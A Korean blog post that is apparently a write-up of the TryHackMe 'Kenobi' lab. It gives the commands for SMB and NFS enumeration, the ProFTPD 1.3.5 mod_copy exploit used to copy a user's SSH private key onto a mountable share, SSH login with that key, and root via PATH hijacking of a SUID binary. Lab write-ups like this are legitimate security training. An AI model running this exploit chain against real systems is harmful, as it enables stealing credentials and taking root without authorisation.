TASK 2-3. 침투
0. port scan
1. Samba
Windows의 SMB 프로토콜을 구현하여 파일 및 프린터 공유를 가능하게 함
* 대부분의 Linux 배포판에 smbclient가 설치되어 있음
1) nmap
nmap -p {port: 445 or 139} --script=smb-enum-shares.nse,smb-enum-users.nse {ip}
*smb-enum-shares.nse : Samba 서버에서 공유된 디렉터리(Shares)를 열거
*smb-enum-users.nse : Samba 서버에 등록된 사용자 계정 열거
2) smbclient
smbclient -R smb://{ip}/{user}
# -R : recursive mode, 원격 서버의 모든 디렉터리 및 하위 디렉터리를 유지한 채로 파일을 다운로드함
smb:\> get log.txt
log.txt에서 proftpd에 대한 정보를 확인할 수 있음 (proftpd.conf)
→ FTP 서버를 실행할 사용자가 kenobi로 설정
→ RSA private key 존재(ssh 접속 가능, id_rsa)
2. rpcbind
RPC : 로컬 및 원격 시스템 간 프로시저 호출을 통해 데이터를 교환할 수 있게 해주는 통신 방식
rpcbind : RPC 프로그램이 실행되고 있는 서버의 포트 번호를 알려주는 서비스
1) nmap
nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount {ip}
*NFS 관련 스크립트 실행 (Nmap script)
3. ProFtpd
1) nc
nc {ip} 21
ProFTPD 1.3.5 취약점 검색 ▶ https://www.exploit-db.com/
2) ProFTPd 1.3.5 - 'mod_copy' Command Execution
*mod_copy : 파일 복사 및 이동을 지원하여 FTP 서버 간 파일 전송이 가능함
*SITE CPFR, SITE CPTO 명령의 취약점, 쓰기권한을 제한하는 Denyall 설정을 무시함
해당 취약점을 이용해서 log.txt에서 확인한 RSA key를 복사할 것이다.
a. nc 연결
b. /var 위치로 파일 복사
*SITE CPFR : 복사할 원본 파일
*SITE CPTO : 파일이 복사될 위치(목적지)
*/var : mount 가능한 디렉터리(rpcbind에서 확인)
c. mount
mkdir /mnt/kenobi
mount {ip}:/var /mnt/kenobi/
cd /mnt/kenobi/tmp
# id_rsa 확인가능
3) ssh 로그인
ssh kenobi@{ip} -i /mnt/kenobi/tmp/id_rsa
*Kenobi의 사용자 플래그(/home/kenobi/user.txt) 확인 가능
TASK 4. 권한 상승
1. 침투 후, SUID bit를 가지는 파일 검색
find / -perm -u=s -type f 2>/dev/null
기본적으로 SUID 설정되어 있는 파일 제외하고, 처음보는 파일이 보임.
실행해봄.
2. 파일 분석
cat 통해 파일을 확인하니 깨져있음(당연함)
strings 명령으로 읽을 수 있는 문자열만 확인.
strings /usr/bin/menu
선택지마다 curl, uname, ifconfig 명령어를 실행하는 것을 알 수 있음
1) 각 명령어가 전체경로 없이 실행됨
→ 2) SUID에 의해 root 권한으로 실행됨
→ 3) 환경변수의 영향을 받음
→ 4) 환경변수 최상위에 내가 원하는 명령어로 curl 파일을 만들면, 해당 명령어가 root 권한으로 실행됨
3. /tmp 디렉터리에 curl 생성
echo /bin/sh > /tmp/curl
chmod 777 /tmp/curl
export PATH=/tmp:$PATH
4. /usr/bin/menu 실행하여 root 권한의 shell 획득
'System > 침투' 카테고리의 다른 글
THM Offensive Pentesting - Alfred (3) | 2023.07.18 |
---|---|
THM Offensive Pentesting - Steel Mountain (0) | 2023.07.18 |
THM Offensive Pentesting - Blue (0) | 2023.06.17 |
THM Offensive Pentesting - Vulnversity (0) | 2023.06.08 |
APC injection 실습 (2) (0) | 2023.03.31 |